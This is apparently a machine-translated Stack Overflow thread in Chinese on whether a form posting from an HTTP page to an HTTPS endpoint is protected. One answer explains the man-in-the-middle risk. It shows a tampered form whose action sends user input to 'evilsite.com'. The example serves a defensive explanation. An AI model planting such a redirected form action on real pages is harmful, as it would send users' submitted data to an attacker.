如果我从常规http页面使用<form action ="https">,信息是否仍然加密?

Joh*_*ohn 9 html ssl post

说我在网址http://mysite.com/form.html.在查看源代码时,我明白了

<form method="post" action="https://mysite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
Run Code Online (Sandbox Code Playgroud)

如果我点击提交按钮,表单信息会在发送到进程页面/控制器时加密吗?

Sei*_*idr 7

是 - 表单中的数据将使用SSL实施的常规握手加密发送.从那里,您可以选择将您的用户置于SSL下,或使用会话标识符将其重新发送回标准连接.

  • "这是安全的 - 不安全的是从HTTP页面提交HTTPS表单.MITM在这里是一个明确的问题,但是再一次,HTTPS表单上的MITM也是一个问题.虽然视频中的观点具有建设性,但传达它的方法并非如此.下次尝试在单个评论中添加更多单词,而不是使用更少单词添加多个评论.此外,Sripathi Krishnan已经在四年前提出了这一点.感觉像是一些死灵,或者是博客的垃圾邮件,我们呢? (2认同)

Sri*_*nan 6

无法保证它会被加密,或者提交的数据将会到达您的网站.

由于最初的响应是通过http,一个中间人可以改变你的html源,或者可以插入一些javascript来修改你的表单的action参数.因此,当您的表单到达浏览器时,它可以像这样读取

<form method="post" action="https://evilsite.com/process">
<input type="text" name="user" value="information">
<input type="submit">
</form>
Run Code Online (Sandbox Code Playgroud)

这意味着如果您想要安全,必须在所有页面上使用HTTPS.